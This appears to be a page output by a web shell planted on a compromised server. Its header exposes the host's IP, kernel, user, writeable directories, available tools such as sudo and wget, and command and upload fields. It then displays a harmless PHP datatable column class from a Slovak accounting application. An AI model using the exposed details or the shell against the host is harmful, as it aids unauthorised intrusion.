403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/modules/extendedDatatable/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/modules/extendedDatatable/code/YesNoColumnController.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

namespace modules\extendedDatatable\code;

/**
 * Description of YesNoColumnController
 *
 * @author maros
 */
class YesNoColumnController extends ColumnController {

    public function __construct(string $column, &$config) {
        parent::__construct($column, $config);
        $t = \app\classes\Translator::getInstance();
        $this->filterOptions = array("" => "") + array(1 => $t->_get("Áno"), 0 => $t->_get("Nie"));
    }

    public function getTableValue($val) {
        if ($val === NULL) {
            return "";
        }
        
        return "<i style='display: table; margin:auto; color:" . (intval($val) === 0 ? "red" : "green") . "' class='fa fa-" . (intval($val) === 0 ? "times" : "check") . "'></i><span class='hidden'>" . $this->filterOptions[$val] . "</span>";
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit